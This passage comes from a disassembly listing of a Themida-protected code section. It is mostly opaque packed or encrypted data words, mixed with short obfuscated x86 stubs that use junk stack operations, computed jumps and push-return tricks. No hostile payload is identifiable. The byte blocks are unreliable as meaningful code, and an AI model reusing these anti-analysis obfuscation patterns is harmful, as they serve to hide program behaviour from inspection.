90D17447h, 0B46B80E4h, 397B4059h, 245912C9h dd 2FDAF470h, 94239E93h, 6EE2F773h, 47h, 83BD5CDCh, 0AFC1A5DEh dd 0FC7CD7FCh, 954E0D67h, 9BB0B460h, 0EA718BE7h, 34F20746h dd 2383D965h, 0E8873C94h, 7CB76BEEh, 0C8CFAC88h, 397B3705h dd 0CDE5h, 0AA60DB00h, 6104836Fh, 42174420h, 98C21958h dd 3203C99Eh, 0CD02A979h, 731F560Eh, 0A81FD3EFh, 0BAD1C504h dd 9F23E611h, 776DCC7Ch, 0AC2BD7FBh, 0D2ACBEF3h, 0CC7C6BD7h dd 0BA8F8B6Dh, 45311A04h, 6D001619h, 38A08B60h, 16DCC49h dd 0EF380C4Ah, 18465023h, 9423803Ch, 98BCF5ACh, 96A385C6h dd 283934BCh, 0D6EF5356h, 2B076DCCh, 417F2A4Eh, 0A167FA1Bh dd 7C30ABC5h, 56FA813Dh, 5DCCB217h, 0B2624A04h, 79421h dd 23660800h, 417830A7h, 1E570E8Dh, 3B782BAAh, 1554F87Fh dd 2557B399h, 11884483h, 2CAB1F60h, 0F87F3B76h, 0AB9E1A4Fh dd 4268DAD1h, 0F8C6BDBh, 5B04D785h, 0E1F67A26h, 6577B65Ah dd 0D7F431D6h, 0FA2FD85Fh, 7932A83Eh, 51412A44h, 0FC2F022Dh dd 63622439h, 52D387BCh, 260h, 28BD5CAAh, 0CC7CC181h, 3749256Dh dd 0CC7CCE74h, 264A266Dh, 2DB35554h, 0CF4B67F7h, 0B3CA7423h dd 57299424h, 0AB0AB416h, 2338AF30h, 56E5E180h, 0A27E72B3h dd 50447F23h, 0AD00F7D4h, 8D39830Bh, 1F0h, 7C5F02FFh, 0EB0A6DCCh dd 0D12BDEF0h, 0A967F72Dh, 0ECDB3CDh, 914A1F56h, 0B229A5DAh dd 0E3D0C4F9h, 66F507D4h, 979B87BEh, 0AEEB9EC2h, 589E14CEh dd 61816FDCh, 0F7AF4031h, 6B8EEh, 377A2C00h, 154CF483h dd 326B2299h, 0F4CFF76h, 29681C9Bh, 194BB7B5h, 0F5843877h dd 20971354h, 0FC7B2F6Ah, 0AF9A0E43h, 4364DECDh, 23806BDBh dd 44793299h, 67923950h, 0CC7C1EA4h, 567AF66Dh, 0D611B584h dd 7531462Ah, 45EC8318h, 0DEDE609Eh, 4E2D9594h, 6DC96DCCh dd 73565280h, 97BB97CCh, 97955823h, 4975336Ah, 0D7000001h dd 50447932h, 0E15D9239h, 94667584h, 2D95946Ah, 0C96DCC7Ch dd 5A76806Dh, 0D2153E9h, 481633F0h, 74F067FCh, 386DD980h dd 0F390943Ch, 0E658995Ch, 0A3C8397Ah, 0BC15004h, 0E859E7D4h dd 4F7EF207h, 80000000h, 2BD718B9h, 5C9A3247h, 8D4C1EBDh dd 4101A8D9h, 0A56DCC7Ch, 7DF9ADC9h, 0A0917860h, 4467FC7Ch dd 0C499CE75h, 0E7AE62BEh, 9423835Fh, 0AE613DF0h, 2AA15571h dd 0D0574B82h, 0DE91902Fh, 5571F5A1h, 75700FA4h, 397B369Ch dd 0A17Ch, 7932CE00h, 0FDAF2A44h, 0D74ED2BEh, 23E3F833h dd 0D5C100A4h, 2CD80DB6h, 0DC1F6ADh, 0C900A833h, 878459DDh dd 6DCCF651h, 904C812Ah, 11DABDAEh, 0EC1C7885h, 74676E0Fh dd 3691AF5Ah, 0F5719805h, 16C805DBh, 0CF804944h, 69A1EFDCh dd 8EB3CEB6h, 0F4E02B9h, 29681C9Bh, 5BCC2C4h, 4F584C4Ah dd 559h, 5EDA1DCDh, 3EFA31D7h, 65D912B7h, 38F431D6h, 5CD00FC1h dd 2CE0126Eh, 47EA71EDh, 1FC35206h, 3AF168E4h, 5A664905h dd 0DB3C13AFh, 2EF6F36Bh, 8B3F7E32h, 4C1E530Ch, 0CA9FD88Dh dd 79327614h, 92395044h, 14B8835Dh, 775B923Ah, 2D6BDC62h dd 0E1000000h, 50447932h, 0A95D9239h, 54407D32h, 0A1559235h dd 7649842Ah, 1514B64Dh, 6DCC7CADh, 3609ED49h, 782FF68Dh dd 351E8743h, 6E000000h, 8A97932h, 4CF6B5C7h, 0A86DCC7Ch dd 0ADFCA8CCh, 6DCC7C10h, 704B80FAh, 9475EF17h, 0AE45D6F3h dd 0BCFBAD2Ch, 366B149Fh, 0B6F19524h, 5F1348FFh, 0DA70E603h dd 50447932h, 75875463h, 0F72D56B6h, 18322E67h, 0D1711846h dd 359424B2h, 92AEE79Eh, 745FEB5h, 55F0F76Bh, 7B2F130Bh dd 620E43FCh, 7B55868Dh, 0D8CC0DC0h, 0B2597F5Ch, 9E1F4FF7h dd 2B9938Fh, 2D27949h, 1C2E124Bh, 1D4ED56Dh, 1135319Eh dd 30651E9Dh, 73686F44h, 379DB259h, 0D69942Dh, 28809C60h dd 0B122F25Eh, 439h, 0FEBAFDADh, 1E9AD177h, 5B9F297h, 1894D176h dd 0FCB0EFA1h, 0CC80F20Eh, 0A74AD18Dh, 0BF63F266h, 9A51C884h dd 0FA06E965h, 0DB3DB30Fh, 0CE56536Bh, 5B4E7932h, 6DCC7CE7h dd 8B3F23FFh, 721E530Ch, 8B77AC53h, 0F16ADCEh, 0F4A72358h dd 336B3619h, 65F9h, 0BD5C5300h, 0B6A3E083h, 0D153A70Ch dd 0A1BB979Ch, 4B37761Ah, 10EE12E7h, 23A634DBh, 0EF0CD954h dd 0FCEB0F34h, 718BE767h, 0B87042EAh, 0B5919581h, 371451F6h dd 6A213F21h, 9423AFD8h, 500BE03Ch, 3CEB5F9Ah, 9423AF84h dd 0A6B0EE95h, 0CBA6B990h, 502A9EC2h, 2254351Bh, 3512E74Ah dd 998DC87Eh dd 38010h, 79327C00h, 0B5412A44h, 1A95A6E4h, 0D5F4B2C7h dd 0B169F02Eh, 35067EEh, 0CCEEBA08h, 0E2FE5A6Dh, 0B66DECFEh dd 8DF26C81h, 907B5586h, 67FC83ABh, 93CA8239h, 0B46683DFh dd 219DCCB8h, 0C4943C00h, 0FCD510AFh, 0DC397AADh, 37h dd 1EBD5C2Eh, 9DDA8D4Ch, 98C698C0h, 0CC7C51F1h, 0A4B9B56Dh dd 0FC7CCAE7h, 2FDA4C67h, 94238393h, 27DBF773h, 2383C680h dd 0F78E2594h, 7B371FF2h, 0C2FF39h, 0D74D0000h, 0FA296196h dd 4429993Fh, 0A5327F25h, 31AABFC7h, 3A51457Ah, 2CAB5796h dd 33523E73h, 24E3578Ch, 6DCCDAA4h, 0A7B9EE95h, 12A5AA6h dd 0BF765AEAh, 421ED209h, 812AB125h, 4C6B584Ch, 0DCEBD8Fh dd 0B967FCC3h, 15A401BDh, 0B4CAB4C6h, 3CC54DF5h, 0F22BE294h dd 62491EFAh, 9E0A0D68h, 0BCEA07Ch, 1C44195Ah, 3C320942h dd 0E135A25h, 8FCE8239h, 0A9E89C1Bh, 378D7644h, 0DBCCD840h dd 27Dh, 4AFE41F1h, 6ADE15CBh, 41FD36EBh, 64D815BAh, 38F433D5h dd 20C43652h, 3BEE6DE1h, 13B73EFAh, 2ED564D8h, 764A45F9h dd 0DB3F0FB3h, 420AE76Bh, 8B3F7E32h, 4C1E530Ch, 0F5A1D68Dh dd 44E25C71h, 4C1EBD5Ch, 0D98D4C32h, 876EF29Eh, 6DCC7C3Bh dd 3F336E14h, 0EE942BE3h, 7F63BFB3h, 7C90C16Ah, 0FA7667FCh dd 83E75F06h, 2A069423h, 46D81541h, 8358AE08h, 9E401A0h dd 0E9397B6Eh, 9Bh, 4E793263h, 0CC7CE75Bh, 5990386Dh, 0FDA9CDA9h dd 37EB2ADEh, 0CC01E870h, 659A516Dh, 0E9B972E9h, 171B0748h dd 5B7A473Bh, 7EBB6E80h, 89803F4h, 0C453B02Ch, 95464517h dd 319E1556h, 0ECA01B35h, 6308D3ADh, 0E8D5126h, 0FAAE1B5Ah dd 3440349Ah, 1A77760h, 6B1B0000h, 7F25B428h, 60059448h dd 7F24B327h, 5D0F8642h, 40BCAA1Eh, 0AB1F5E12h, 8438792Ch dd 0A21651F5h, 83376C13h, 4DF5B488h, 0A96BDB38h, 7E32804Ch dd 70B800A4h, 0D57AE3E0h, 0E12FEE2h, 48FF7632h, 32119713h dd 39504479h, 5AE15D92h, 7C627CB1h, 6772F04Fh, 0E59406D4h dd 6DCC435Dh, 4BFEBDB9h, 3D1A160Ah, 76657441h, 20ECA564h dd 0AEAA67FCh, 0DED0C2h, 3C67B909h, 0EC015D94h, 2D1EB857h dd 90FB6D60h, 0C6F3D874h, 2C9D9524h, 7A31AABFh, 9D3C8945h dd 0A0C4FFA3h, 657EDBCEh, 0B6889E0Ch, 2C634FF3h, 0DDA0729Eh dd 9185BBFh, 0EA9E1D19h, 577BF7ABh, 3E732CABh, 76451752h dd 0E6B592D3h, 0D209104Fh, 0B053E6F8h, 25348E7Dh, 54D09E2Ch dd 0BB05B70h, 0FB941C72h, 0AD1AB1Fh, 0F77B2766h, 7DB259E2h dd 215C1289h, 31D06375h, 460237F0h, 0EF01DAF9h, 2C36773Ch dd 6E1D0F8Ah, 8A0C79D4h, 6F1A3430h, 8A0C79D3h, 671B3733h dd 8240EB15h, 628A0C79h, 8E36C5FDh, 0C29E0DBEh, 40752EA5h dd 0BFF4AB2Eh, 0D50CB4D3h, 0B82ADCF1h, 0DEF56A09h, 6B28E3FDh dd 2B803C5Fh, 0E35B7C26h, 7AA861Fh, 12C6AAC6h, 9BB526ADh dd 47CDB9F0h, 34F74986h, 0B655CC8Eh, 3AE60A66h, 0FBAFE49Bh dd 0E28EC37Ch, 0EEFE59B3h, 87C66AB7h, 0C45FC9Bh, 5CF38E18h dd 0DBF730D5h, 61C05F40h, 42B975AAh, 29A05489h, 4B5D4986h dd 6F1819B8h, 7415EB9Fh, 0FFE33F33h, 37F067E3h, 9D1C0E02h dd 7BF7ABECh, 3E35Eh, 5F590000h, 3D80326Dh, 64995249h dd 3A7519B0h, 5D9E4F46h, 3F7E32A9h, 51903453h, 448126A5h dd 5B943950h, 417830A7h, 8952CF55h, 4C281E2h, 81000000h dd 4EAh, 24148700h, 242C895Ch, 6FE468h, 240C8900h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push 6173230h mov ecx, [esp] add esp, 4 push esp mov edx, [esp] add esp, 4 push 3D33h mov [esp], eax mov eax, 8 add eax, edx mov [eax], ecx pop eax push dword ptr [esp] pop edx add esp, 4 mov ecx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_5534D8 ; --------------------------------------------------------------------------- db 0A2h dd 3EFBB595h, 1C57533Bh db 0C4h, 0EAh, 0F4h ; --------------------------------------------------------------------------- loc_5BFAD3: ; CODE XREF: Themida_:005BE5ECj mov eax, 61745E3h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 29877911h, 4A6D2FE3h, 3962DFDDh, 136018A8h, 7F9CE9D8h dd 5DFE6EAFh, 69784FA9h, 77827CE8h, 7CF52DDCh, 5AF1F4B9h dd 243831F5h, 797227DFh, 471B8D8Dh, 6A0617h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 951452C3h dd 180B0A37h, 8987BEEEh, 1009F58Dh, 6840F06h, 89000000h dd 101C4185h, 1985C706h, 94061023h, 0F000072h, 28Ch, 0C736B600h dd 1022C185h, 6, 75CE8100h, 0FF0BE3DCh, 101B25B5h, 0FF66B006h dd 102DB995h, 0FD8D8906h, 6A061007h, 0C995FF00h, 8B061031h dd 8919EBC0h, 0FAA4E1Eh, 0AA2D61B6h, 0F05199ECh, 0C50CD5A8h dd 0F9C137A2h, 7143FF39h, 15FE9h, 0D48B5200h, 0E860h, 815D0000h dd 174747EDh, 8428B06h, 2638453Dh, 38850F78h, 8B000001h dd 4A8B0C42h, 0BBC8D318h, 37E5772Bh, 0E883C333h, 0F5858904h dd 8B061009h, 0F88B0458h, 8B10428Bh, 0C8D3184Ah, 0C88E76BEh dd 2BC633ABh, 0FCE083C7h, 8904E883h, 10231985h, 14428B06h dd 22C18589h, 428B0610h, 0B0E95318h, 0FF000000h, 102821B5h dd 0B9E906h, 0B5FF0000h, 61030C5h, 0AEE9h, 11B5FF00h, 0E9061012h dd 0A3h, 11EDB5FFh, 98E90610h, 0FF000000h, 100BB9B5h, 8DE906h dd 0B5FF0000h, 610232Dh, 82E9h, 0CDB5FF00h, 0E9061000h dd 77h, 4E9B5FFh, 6CE90610h, 0FF000000h, 101D89B5h, 61E906h dd 0B5FF0000h, 6102ED5h, 56E9h, 51B5FF00h, 0E906101Fh dd 4Bh, 1B25B5FFh, 40E90610h, 0FF000000h, 100EA5B5h, 35E906h dd 0B5FF0000h, 61008A1h, 2AE9h, 65B5FF00h, 0E9061008h dd 1Fh, 4A5B5FFh, 14E90610h, 8B000000h, 0BB8D8h, 0F7660000h dd 0A88D8DE3h, 3061747h, 0FFE1FFC8h, 102DB995h, 858B5B06h dd 61009F5h, 0F045839h, 0F85h, 16A5300h, 31C995FFh, 0E95B0610h dd 0FFFFFFE2h, 61C35A61h, 0C96AB85Ah, 0E0FF77D4h, 251858Bh dd 8D8D0610h, 6174896h, 8B014189h, 9E8C3h, 13980000h, 0F6CBEA65h dd 0B01EF8BCh, 81665E4Ah, 81C7C7C0h, 6965C6h, 0B8F0F00h dd 0E9000000h, 6, 82AA2345h, 0B94342h, 66000000h, 0DB66E281h dd 810E1C8Bh, 9392B1EBh, 75CA8058h, 0D874EB81h, 8B661DA9h dd 28C381F9h, 0F165A3Dh, 388h, 0C28B6600h, 0B3E48053h dd 0E90E048Fh, 0Ch, 0BA6760CEh, 1D5FA5E7h, 967BEB82h, 0E981D5B4h dd 646762B1h, 0C18171B4h, 646762ADh, 12E9h, 0A6FA1C00h dd 0DF87174Ch, 0BF86D39Dh, 7906435Eh, 816DC0D7h, 0FF976CF9h dd 27850FFFh, 0F000000h, 1681h, 0B70F6000h, 0CE9D9h, 0E5300000h dd 7946CA9Ah, 1507DB97h, 0E961C0F7h, 13h, 2B4359F9h, 65E9210Fh dd 5FFFFFFh, 707A3705h, 0E8FCFCE9h, 13h, 6D770F51h, 7D7AE2C9h dd 882BAE14h, 0D343015Bh, 59E0DE2Ch, 0C181FA8Bh, 5BC3h dd 0DE9h, 0B872BA00h, 42B1546Dh, 0C5F064D0h, 0D233480Eh dd 8B665660h, 0FE95BF1h, 0C3000000h, 35A7D9F3h, 0E389D4C3h dd 557D15D5h, 8B61C57Eh, 66601134h, 0FFC7CBAh, 684h, 850F00h dd 61000000h, 1246F681h, 60BF6524h, 8147A94Ch, 0A895DEC6h dd 0A4E8BB02h, 0C68102F3h, 2C8FC9DAh, 0F956C18Ah, 5011048Fh dd 93C78166h, 890F5F3Fh, 0 ; --------------------------------------------------------------------------- sub edx, 4 movzx edi, ax cmp edx, 0FFFFA504h jnz loc_5BFEB4 movsx ebx, si jmp loc_5BFEC3 ; --------------------------------------------------------------------------- dw 0CCAAh dd 0C9E4CD65h, 0E1C10FCBh, 0B6452290h, 2072B2DFh ; --------------------------------------------------------------------------- loc_5BFEB4: ; CODE XREF: Themida_:005BFE94j movsx ebx, dx jmp near ptr dword_5BFADC+367h ; --------------------------------------------------------------------------- mov ebp, 0FA1D8745h std cmpsb loc_5BFEC3: ; CODE XREF: Themida_:005BFE9Dj jmp loc_5BFEE5 ; --------------------------------------------------------------------------- dd 6B3C2985h, 6 dup(0) db 0 ; --------------------------------------------------------------------------- loc_5BFEE5: ; CODE XREF: Themida_:loc_5BFEC3j jmp loc_5C037A ; --------------------------------------------------------------------------- push 6174B7Bh jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6174BF6h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6174D5Ah jmp loc_5534D8 ; --------------------------------------------------------------------------- dd 0F6B2F595h, 1692C97Fh, 0FDB1EA9Fh, 0D08CC97Eh, 0F468A749h dd 0B4588AF6h, 8F42B975h, 0A75BDA4Eh, 0C269F06Ch, 0E2DED18Dh dd 0DB369B27h, 961E7B6Bh, 533F7E32h, 0E2568B34h, 8B65767Dh dd 0FC1F03A0h, 13BA8167h, 0B90900DAh, 5D9423A1h, 3A36EC01h dd 0A1A71F46h, 2D469423h, 587A5396h, 0F75A397Bh, 0B0000002h dd 0A037BA15h, 0F96A213Bh, 1D67FC20h, 0F4AC2F41h, 680FA0BDh dd 91463E57h, 6D80312h, 76665203h, 2ED5EC9Bh, 4D290DF9h dd 0D68E4D33h, 1E4AF89Fh, 0AEAA9BB6h, 118ED99h, 0CB0900DAh dd 8B918654h, 0BDA3BD8Fh, 0A65474CEh, 0E594909Dh, 9DA6545Dh dd 0B8A0BDB9h, 366D13A6h, 0BCF19A21h, 2D27900h, 0D36F1A4Dh dd 339DA654h, 0E69C1B37h, 0E922C7ABh, 994383E9h, 2FD1C8Dh dd 17B70000h, 2BE158D4h, 0CC138F4h, 2BE057D3h, 9BB3AEEh dd 0EC180ECAh, 0CF8BCA7Eh, 0E864A548h, 0C682BD71h, 0E763984Fh dd 0B111F804h, 556BDB37h, 0A9D7CC58h, 0CC7C4002h, 0D7D2A46Dh db 6Bh, 7Ch, 0CCh byte_5C0023 db 6Dh ; DATA XREF: Themida_:0054D694o dword_5C0024 dd 96B38F8Bh, 512BB047h, 0F7C64D5Ah, 5B046967h, 83D1F837h ; DATA XREF: ___:004327ECo dd 0C799B38Fh, 24707EC4h, 0BD9A9694h, 2D6C209Bh, 47862AB1h dd 70B10C5Bh, 0C9829424h, 0CDDC2794h, 44504A01h dword_5C005C dd 28253h, 478A3C00h, 255C0493h, 427B32A9h, 1F5C0F86h ; DATA XREF: ___:off_432940o dd 39782CABh, 97B8785h, 25B42867h, 10874384h, 2CAB1F5Ah dd 9F8A3E73h, 3754EE9Dh, 33B06BDBh, 1EBD5C69h, 0C6405D4Ch dd 25E67F7h, 7FC071E8h, 8E524C8h, 0CAF74F16h, 5D169424h dd 5FDA04C6h, 3E8473A8h, 0F9424CAh, 0FF71215Ah, 24CAB60Ch dd 0EED24E94h, 82579437h, 8274347Dh, 1901439h, 32760000h dd 0DE504479h, 8D6AA95Bh, 74E81DC6h, 0F9D3080Fh, 7C9E24E7h dd 0AA416DCCh, 68A9AD7Bh, 9267C3BBh, 25C9906Eh, 7F63984Fh dd 0C098C16Ah, 576E67FCh, 9C077B4h, 244024D0h, 0C79D2970h dd 80943Ch, 0AD599639h, 700FB4C9h, 7A6E9C75h, 3D7C39h dd 0D7CE0000h, 75216004h, 6A89DCF1h, 0BA815F71h, 0AC60D716h dd 0BE93906Dh, 5867FC7Ch, 0C58128DCh, 28942383h, 20F1F48Bh dd 397B37h, 0C6h, 43873BFEh, 0A9F8805Bh, 0E79BB7D0h, 32D66E8Bh dd 0AF2A4479h, 0FAACC1FAh, 36EA29DBh, 0BFB3E89Fh, 0FE37EE6Dh dd 0E9B972E9h, 181C0847h, 0AD9E803Ch, 0D5DF6D74h, 0CDB693C8h dd 6DCC0053h, 0B4C6FBA4h, 8063DFCAh, 0A7839233h, 806CD6D5h dd 0AC889233h, 1BBA07CFh, 0C5FBAEC0h, 1D98054Dh, 0F8AC2F41h dd 0D27605B9h, 87E12693h, 5D494A04h, 11E4Ch, 0F336D800h dd 0D108C037h, 0EE27DE5Dh, 0CB08BB3Ah, 0A5E4880Fh, 95C74329h dd 81F8B4F3h, 9C1B8FD0h, 0A82FABE6h, 1B0ECAFFh, 31D86A21h dd 5F3C6BDBh, 3F7E32D5h, 28530C8Bh, 0D4C3FCB1h, 6DCC7C6Eh dd 0B4C6AA86h, 7C63DFCAh, 2B4E6DCCh, 0BF483414h, 0F308641Ch dd 7932DD6Bh, 86412A44h, 5701D9D0h, 9807E5Bh, 9FDE9262h dd 1BBA07C3h, 0AF455B7h, 1C381A30h, 5E7A4742h, 0C09C67FCh dd 3A792BAEh, 3A7FC77Eh, 17D0943Ch, 9F5108E2h, 44D38B60h dd 0CC8F61A0h, 204D918h, 8291h, 0BD5CEB00h, 0F1A5DE83h dd 12B05B75h, 0F26DCC7Ch, 89805A76h, 67F7C690h, 4F463A36h dd 15E76398h, 0C98240EBh, 6629424h, 8CC16AF1h, 0D1B8A698h dd 9424C971h, 0C7C49995h, 10B5762h, 681C9FC1h, 0D06F5429h dd 0E9659A51h, 9084B972h, 471956F9h, 0DE92CF74h, 33259D8Ch dd 65C1E171h, 28BA6C81h, 843BFA99h, 3A01DB4Fh, 0C7AB5796h dd 4D8229B2h, 0B154E759h, 0D817B970h, 0B633482Ch, 3, 326D5F06h dd 52493D80h, 19B06499h, 4F463A75h, 32A95D9Eh, 34533F7Eh dd 26A55190h, 39504481h, 30A75B94h, 0CF554178h, 81E68956h dd 4C6h, 4EE8300h, 8B243487h, 89502424h, 405E0h, 42D0000h dd 87000000h, 895C2404h, 3768241Ch, 8900005Bh, 0EC83243Ch dd 24348904h, 174A9DBEh, 5EF38906h, 8904EC83h, 4832424h dd 685F0424h, 5FBBh, 0B8240489h, 8, 1889F801h, 2434FF58h dd 4C4835Fh, 5B2434FFh, 4C481h, 61E90000h, 9FFFF931h ; --------------------------------------------------------------------------- mov [edi], bl loc_5C037A: ; CODE XREF: Themida_:loc_5BFEE5j mov eax, 6174E9Dh add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 60h dd 985773E4h, 5F23A6C1h, 566C095Eh, 1E3EDAA0h, 0BD43EA65h dd 0C901A86Eh, 12190E99h, 8A1DF6E6h, 0D75480A5h, 9B72EC40h dd 0FF2A68C5h, 75039BD5h, 7422B1A3h, 4C2BFE0Ch, 7D00C259h dd 865F25E0h, 0B133BA16h, 0FC2577BAh, 0E44E1550h, 5E4FD349h dd 5A49913Bh, 7D7BF4C9h, 341A9F7Ah, 0DD5CACA4h, 0C3250388h dd 0FC5BFF73h, 1E74E15Eh, 8D5100B3h, 1750708Dh, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 8D8907B0h, 61009F5h, 5EB1B052h, 231985C7h, 5FDC0610h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 2F93ECC3h, 3764654Dh, 31019D01h, 85C70610h dd 61022C1h, 0 ; --------------------------------------------------------------------------- push 0 push ebp call sub_5C0467 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C0467 proc near ; CODE XREF: Themida_:005C045Fp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ch inc ebp push ebp retn sub_5C0467 endp ; --------------------------------------------------------------------------- db 6Bh dd 9447E507h, 9685039Ah, 0FFF38B66h, 100BB9B5h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 8B8AAC5Eh, 0B995FFD6h, 6A06102Dh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0A014C353h dd 0B58BA314h, 61031C1h, 95FF006Ah, 61031C9h, 4FEBC08Bh dd 0B40441FBh, 7FECF0D5h, 2D41628Fh, 1F96E90Ah, 0D438D5ACh dd 0C317B8ACh, 3148F9FEh, 2F7172BDh, 0B1F4579Bh, 541512E2h dd 0B93B8C39h, 7B0123CAh, 0A905AFE4h, 0ABA39E46h, 332E2DFDh dd 3B745AAFh, 59062301h, 7B240102h, 0F66CA3F9h, 0E8421D9Fh dd 6, 0B4C4F623h, 8C0F8615h, 6, 1ECD8589h, 0E95B0610h dd 6, 250ED851h, 0C3817FDEh, 64F1h, 0C7E636BAh, 29EA8124h dd 0E924C7CDh, 0Bh, 5993B6A1h, 0AB5F83D5h, 8B086FD9h, 0F9BF0F03h dd 58F0E881h, 81660C8Ah, 81EF62DEh, 39B5BCC0h, 4DB58B3Ah dd 81061031h, 18BF52E8h, 0BD8B5765h, 61000C5h, 0BD31505Fh dd 6102EC1h, 8589038Fh, 6101175h, 6601EB83h, 4B61C6B9h dd 8A604B4Bh, 499589E1h, 61061012h, 0F01EA83h, 1785h, 27E900h dd 67AB0000h, 3F7E6F5Fh, 300156C8h, 6B78D1AFh, 0BB66A88Bh dd 49E0B966h, 0FFFF8AE9h, 0B973D9FFh, 170D90D2h, 0AA98E5FEh dd 32E9A9h, 1E4A0000h, 5552h, 0Bh dup(0) ; --------------------------------------------------------------------------- jmp loc_5C0BB1 ; --------------------------------------------------------------------------- db 6Ch, 0BAh, 77h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 34h, 8Ch, 55h dd 72AB62D9h, 4F8C3FB6h, 69A85CDBh, 598BF7F5h, 35C478B7h dd 60D75394h, 3CBB6FAAh, 0EFDA4E83h, 2DA41E0Dh, 63406BDBh dd 0A97932D9h, 5AD6CA05h, 3EF24DBh, 4429431Fh, 7A21B336h dd 0B96FE627h, 22B96582h, 0B6EB946Eh, 0CE8A66CAh, 0AB1712ECh dd 4B6DCCE3h, 8A41FACFh, 0CCFA155h, 1661A57h, 0EF1026Eh dd 61765A4Dh, 8FC31DAh, 0F0A4DB91h, 0DF936D9h, 0E69ADB8Eh dd 22AE45FCh, 98993887h, 77FEBAEFh, 98C698D3h, 0CCA451F1h dd 0A5B0B56Dh, 18A6BAFEh, 11C5A2BEh, 0B4F4AC2Fh, 9968AAEBh dd 0F7ABC7B0h, 7E3C8685h, 5CD86DCCh, 0B7535378h, 4F401100h dd 0D20DC17Ah, 0C506A71Eh, 952CC7D1h, 1F9BD68Ch, 0A0BAEF98h dd 4D397619h, 431214E9h, 6DCCFFFAh, 0A95D9A4Dh, 54407D32h dd 0A52BCA59h, 0EB0EA516h, 336AB322h, 5502h, 79324800h dd 0DE5044h, 0CC7CB909h, 0EC015D6Dh, 0CC7C813Fh, 9A398A6Dh dd 6B358E5Fh, 0A0CDFE33h, 0EA3FBBE2h, 1A04825h, 0EA000000h dd 4F437A32h, 0D0AA5EDDh, 0E9FEE217h, 8F83BA72h, 2C691E9Dh dd 54DFFC78h, 0EB7E72AFh, 4CF43DD4h, 69229915h, 97BBF499h dd 7E328523h, 0DAC6FBA4h, 6B607A56h, 0EE93EE36h, 7865C1B5h dd 99AE5DB2h, 0FF36EEEDh, 7CB96EEDh, 0CFCFAC88h, 904AE97Ah dd 1307BB6Eh, 83DF6DCCh, 1300C269h, 88E46DCCh, 544E873h dd 0E419D249h, 0BBF49930h, 0DD1CD0C7h, 0B9FBB229h, 0AB106AEh dd 867A56B1h, 0AD13B2D1h, 0CD28C7FCh, 336B0814h, 0D512B584h dd 7850F8h, 32BA0000h, 34533F7Eh, 0BF7A548Dh, 0A3E7C60Ch dd 1A9B4E70h, 11E64A36h, 0AA495A15h, 0C09AD98Bh, 2A691B9Eh dd 0B70BFA76h, 4F6DCCB7h, 0B940F6D3h, 522CD817h, 0D4A9E287h dd 7A316407h, 6DCCB7C8h, 6014302Ch, 0E57C37h, 336A68BDh dd 519Dh, 4D7EF00h, 0F36F235Eh, 6CAB5DD6h, 296D21B8h, 5E45F73h dd 25DC5B30h, 183C38ECh, 13B2916Ch, 4D1F5E12h, 0BD9ADB8Eh dd 7A3273F9h, 0BF084F43h, 806DCC7Ch, 6C45A03Fh, 4C336B35h dd 12h, 0B5A07972h, 493029B3h, 3325E062h, 4C280492h, 4D7952Fh dd 0F470245Dh, 6CA55CD7h, 356A21B8h, 59C5741h, 0B02C651Ch dd 6A21C453h, 6DCC7CD8h, 0EA04E03Ch, 0FC06DA3Fh, 0C4B0AC67h dd 75E91EC5h, 63FF3DE6h, 0C0D3F852h, 9AC1B591h, 94235D2Ah dd 38F99827h, 0FCDE5A8Fh, 584C8B3Dh, 8B34FFDCh, 742BAA56h dd 0CFC3FEA4h, 5D14AE5Dh, 74F09423h, 0CB807450h, 90BD19B8h dd 7017FAB6h, 0FEEB473Bh, 2CAB08B9h, 961D3A77h, 1A04B8EDh dd 0B44DA331h, 9267D701h, 7B4F448Dh, 17A2439h, 311A0000h dd 0A3A56AB2h, 1CA8C510h, 4C1EBD5Ch, 0FC266C5Dh, 0F8735867h dd 0EFC67A5h, 0C3909463h, 2D49EE13h, 22CE4A50h, 13C7FCA3h dd 0EE545729h, 694233Ah, 0DD864D2Ah, 26DDFCA8h, 334805F1h dd 0B9EE959Ch, 0EF773A05h, 6157397Bh, 0B5000000h, 0F94996D7h dd 9706CD12h, 439823C2h, 56E08229h, 8D04EDCCh, 0D0C4A0D7h dd 0CC563989h, 357016EDh, 6AA34A41h, 59C03B6h, 50EF90B7h dd 0E1FBE0FBh, 8A81B65Ah, 0EDCC5638h, 0E56480DCh, 0EF20740h dd 0CC56871Bh, 87431F6Dh, 0DF1Eh, 7D3C2200h, 259D8CCBh dd 0C16DCC56h, 38EC21CAh, 6943183Ch, 8128BD5Ch, 6DCC7CC1h dd 0C0F5AE25h, 0BDAEC0A4h, 7A409717h, 599A4BC9h, 6678607Dh dd 0E1F62DD3h, 0FC35412Ah, 3DE94567h, 7215E59Eh, 1E54135h dd 337A734Dh, 79982460h, 7B24AFCCh, 8315D83Dh, 0F5B4C7B2h dd 943C7F4Dh, 0CDA9CDA9h, 7E3792D9h, 502C943Ch, 7EC77B2Eh dd 0A81F943Ch, 0CFACC801h, 8F7155ECh, 3C7E269Ch, 1655F794h dd 66ED0A66h, 6FD488BDh, 5C32D868h, 998D69A8h, 0B9A7B99Dh dd 28272B94h, 954B337Ah, 92AEB25Eh, 3F337013h, 321D06E3h dd 0CC9E0760h, 7E25A450h, 754B5D49h, 2022A08Bh, 66C29E15h dd 3C13B291h, 0C4FFA39Dh, 5E7054D0h, 0E415B980h, 15209D25h dd 0D9FD799Eh, 7734492Dh, 942E915Ch, 68FEBAB6h, 715BD5Ch dd 84585023h, 